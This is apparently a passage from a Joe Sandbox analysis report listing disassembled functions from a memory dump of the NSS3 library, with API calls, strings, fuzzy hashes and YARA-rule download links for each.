Function 6C5A0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C5A0A2C), ref: 6C5A0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C5A0A2C), ref: 6C5A0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C5A0A2C), ref: 6C5A0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C5A0A2C), ref: 6C5A0E90
free.MOZGLUE(00000000), ref: 6C5A0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C5A0A2C), ref: 6C5A0ED9

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 15bbf20bb7e1d2aa333bd883b9b15741df13e3f5a58930ce797d1d46b37b2f64
Instruction ID: bbc7685c7d174cce26868485422da837b8ae7344d7cf7968e57ba096cbec1920
Opcode Fuzzy Hash: 15bbf20bb7e1d2aa333bd883b9b15741df13e3f5a58930ce797d1d46b37b2f64
Instruction Fuzzy Hash: 8C213172F102845BEB1086E75C45B6F76AEDBC1748F150437D91B63B01EA61D81792B1

Function 6C5AAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5AAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C5AAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5AAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C5AAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C6C9500), ref: 6C5AAF23

Part of subcall function 6C5FF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C5FF0C8
Part of subcall function 6C5FF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5FF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5AAF37

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 12c8e10017bee5c831bb8896b31c7905faa4a5777c77b67d6f3a0dffd8d6c823
Instruction ID: fba4b8480bca4fa3f77cb2bb92c6a1a56194af8f56db3c857b447f3cc2331fdd
Opcode Fuzzy Hash: 12c8e10017bee5c831bb8896b31c7905faa4a5777c77b67d6f3a0dffd8d6c823
Instruction Fuzzy Hash: A7213C75509200ABE7108E599C41B5E7BE4AFC572CF144314FC649B781E731D5068BAB

Function 6C62EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62EE85
realloc.MOZGLUE(E4C3A9E4,?), ref: 6C62EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C62EEC5

Part of subcall function 6C600BE0: malloc.MOZGLUE(6C5F8D2D,?,00000000,?), ref: 6C600BF8
Part of subcall function 6C600BE0: TlsGetValue.KERNEL32(6C5F8D2D,?,00000000,?), ref: 6C600C15

htonl.WSOCK32(?), ref: 6C62EEE3
htonl.WSOCK32(00000000,?), ref: 6C62EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C62EF01

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: b8b7625b52b450ac689568ce29466bafa23d9e773666896fc9ecf9ecf29d133c
Instruction ID: ff4b0e532f06f8f7d9577cc66dad238a1c0574009543d48c1b7203539976091a
Opcode Fuzzy Hash: b8b7625b52b450ac689568ce29466bafa23d9e773666896fc9ecf9ecf29d133c
Instruction Fuzzy Hash: 8A21D371A002149FCB109F38DC8079A7BA8EF49359F148179EC59AB651E335EC15CBEA

Function 6C5DEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5DEE49

Part of subcall function 6C5FFAB0: free.MOZGLUE(?,-00000001,?,?,6C59F673,00000000,00000000), ref: 6C5FFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C5DEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C5DEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C5DEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C5DEEB3

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 633a20da0557a211713dc698643ff6628f666a897f1eb1a9d2fa1e8a994e6262
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 5821C3B6A00311ABEB118B58DC81EABB7A8EB45708F050164FE14DB741E7B1EC15C7F1

Function 6C5A7F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5A7F68

Part of subcall function 6C600FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5A87ED,00000800,6C59EF74,00000000), ref: 6C601000
Part of subcall function 6C600FF0: PR_NewLock.NSS3(?,00000800,6C59EF74,00000000), ref: 6C601016
Part of subcall function 6C600FF0: PL_InitArenaPool.NSS3(00000000,security,6C5A87ED,00000008,?,00000800,6C59EF74,00000000), ref: 6C60102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C5A7F7B

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5A7FA7

Part of subcall function 6C5FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5F8D2D,?,00000000,?), ref: 6C5FFB85
Part of subcall function 6C5FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5FFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C6C919C,?), ref: 6C5A7FBB

Part of subcall function 6C5FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6D18D0,?), ref: 6C5FB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5A7FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C6C915C,00000014), ref: 6C5A7FFE

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 8794048bdab71f77e3d351cc455fef09ffaa61775cd2fa6bf5466fc4e4709716
Instruction ID: ae1d9ef5f7040048ae42f8df34c4c8674dfbe384676c836fe89a9337a6d9d487
Opcode Fuzzy Hash: 8794048bdab71f77e3d351cc455fef09ffaa61775cd2fa6bf5466fc4e4709716
Instruction Fuzzy Hash: B9113A71E0020497F7149A669D41BBB77FCDF4968CF00062DFC69D2B42F720AA49C6BA

Function 6C5ABE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C62DC29,?), ref: 6C5ABE64

Part of subcall function 6C600FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5A87ED,00000800,6C59EF74,00000000), ref: 6C601000
Part of subcall function 6C600FF0: PR_NewLock.NSS3(?,00000800,6C59EF74,00000000), ref: 6C601016
Part of subcall function 6C600FF0: PL_InitArenaPool.NSS3(00000000,security,6C5A87ED,00000008,?,00000800,6C59EF74,00000000), ref: 6C60102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C62DC29,?), ref: 6C5ABE78

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C62DC29,?), ref: 6C5ABE96

Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C62DC29,?), ref: 6C5ABEBB

Part of subcall function 6C5FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5F8D2D,?,00000000,?), ref: 6C5FFB85
Part of subcall function 6C5FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5FFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C62DC29,?), ref: 6C5ABEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C62DC29,?), ref: 6C5ABEF3

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: a610a2f885dbf6b078156250c5b9befafe6eba77ee912bbf833f40154035b8c9
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 7A11B771F002099BEB049BA59D41FAF3BA8EF41258F144428ED09EB781EB31D91AC7F5

Function 6C633C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C635B40: PR_GetIdentitiesLayer.NSS3 ref: 6C635B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C633D3F

Part of subcall function 6C5ABA90: PORT_NewArena_Util.NSS3(00000800,6C633CAF,?), ref: 6C5ABABF
Part of subcall function 6C5ABA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C633CAF,?), ref: 6C5ABAD5
Part of subcall function 6C5ABA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C633CAF,?), ref: 6C5ABB08
Part of subcall function 6C5ABA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C633CAF,?), ref: 6C5ABB1A
Part of subcall function 6C5ABA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C633CAF,?), ref: 6C5ABB3B

PR_EnterMonitor.NSS3(?), ref: 6C633CCB

Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690AB
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690C9
Part of subcall function 6C669090: EnterCriticalSection.KERNEL32 ref: 6C6690E5
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C669116
Part of subcall function 6C669090: LeaveCriticalSection.KERNEL32 ref: 6C66913F

PR_EnterMonitor.NSS3(?), ref: 6C633CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C633CF8
PR_ExitMonitor.NSS3(?), ref: 6C633D15
PR_ExitMonitor.NSS3(?), ref: 6C633D2E

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 2e60b07794fc639a95635cfcac38f504d2e4efc66620fa0ab2863675664e4d33
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 981108B56106106FE7215F66FC4279BB2E4EF5230CF507538E80E87B20E632E81AC65E

Function 6C5FFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C5FFE08

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C5FFE1D

Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C5FFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C5FFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C5FFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C5FFE6F

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 41b76b8e47752896a26b99c0cd1980a5c7088e5f29d56c418c69e9b2bf97bab4
Instruction ID: 6f2d0ab1e1e61758232bc4d40ac77f4a37fe799529e176f9e69619a1d5678683
Opcode Fuzzy Hash: 41b76b8e47752896a26b99c0cd1980a5c7088e5f29d56c418c69e9b2bf97bab4
Instruction Fuzzy Hash: 591125B7A00201ABEB048F54DC40A5B77D8AF15299F108634EA3997F12E731E915CBA9

Function 6C6AFD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C6AFD9E

Part of subcall function 6C669BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C591A48), ref: 6C669BB3
Part of subcall function 6C669BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C591A48), ref: 6C669BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C6AFDB9

Part of subcall function 6C58A900: TlsGetValue.KERNEL32(00000000,?,6C7014E4,?,6C524DD9), ref: 6C58A90F
Part of subcall function 6C58A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C58A94F

PR_Unlock.NSS3 ref: 6C6AFDD4
PR_Lock.NSS3 ref: 6C6AFDF2
PR_NotifyAllCondVar.NSS3 ref: 6C6AFE0D
PR_Unlock.NSS3 ref: 6C6AFE23

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 58421e2418bd860410f3df5b5d8a847f61bbc6f05f4ac3fb5c51cc556d617ee5
Instruction ID: 4a47a2addbee36c7bab2c953f35f5683d951dc9f21b61c441c46af68563ff56c
Opcode Fuzzy Hash: 58421e2418bd860410f3df5b5d8a847f61bbc6f05f4ac3fb5c51cc556d617ee5
Instruction Fuzzy Hash: 57013CF6B04201ABDB055F65EC0089676A1BB1226C7154378F82647BF1EB22ED29C78A

Function 6C58AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C58AFDA

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C58AFC4
%s at line %d of [%.10s], xrefs: 6C58AFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6C58AF5C
misuse, xrefs: 6C58AFCE

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 603b4e69ec66919b72f30a577ada92ae9979ba9b74ea07b301e5e7fd2f188106
Instruction ID: 1a5acf06791e62a10eabc833ec9019cd6618cd9a05f717039a45c218fd25156b
Opcode Fuzzy Hash: 603b4e69ec66919b72f30a577ada92ae9979ba9b74ea07b301e5e7fd2f188106
Instruction Fuzzy Hash: A191F2B5B062258FDB04CF29CC50BAAB7F1BF49314F1948A8E864AB791D734EC01CB60

Function 6C5EFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C5EFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C5EFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C5EFDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C5EFDDE

Part of subcall function 6C5F8800: TlsGetValue.KERNEL32(?,6C60085A,00000000,?,6C5A8369,?), ref: 6C5F8821
Part of subcall function 6C5F8800: TlsGetValue.KERNEL32(?,?,6C60085A,00000000,?,6C5A8369,?), ref: 6C5F883D
Part of subcall function 6C5F8800: EnterCriticalSection.KERNEL32(?,?,?,6C60085A,00000000,?,6C5A8369,?), ref: 6C5F8856
Part of subcall function 6C5F8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C5F8887
Part of subcall function 6C5F8800: PR_Unlock.NSS3(?,?,?,?,6C60085A,00000000,?,6C5A8369,?), ref: 6C5F8899

Strings

pkcs11:, xrefs: 6C5EFC4F

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 3acde7c44536d6570229f3653320f3760656229b59653b98da6e6b28d9e14846
Instruction ID: 6e6eb502b9ef58ea0a0cb9de354ed22ad793782783f3fe77b91a3d8510c39264
Opcode Fuzzy Hash: 3acde7c44536d6570229f3653320f3760656229b59653b98da6e6b28d9e14846
Instruction Fuzzy Hash: D051F4B2B04111EBEF008F65BE40B9A3B65AF89358F250625ED195BB41EF31ED05CB92

Function 6C52BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C52BE02

Part of subcall function 6C659C40: memcmp.VCRUNTIME140(?,00000000,6C52C52B), ref: 6C659D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C52BE9F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C52BE89
database corruption, xrefs: 6C52BE93
%s at line %d of [%.10s], xrefs: 6C52BE98

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

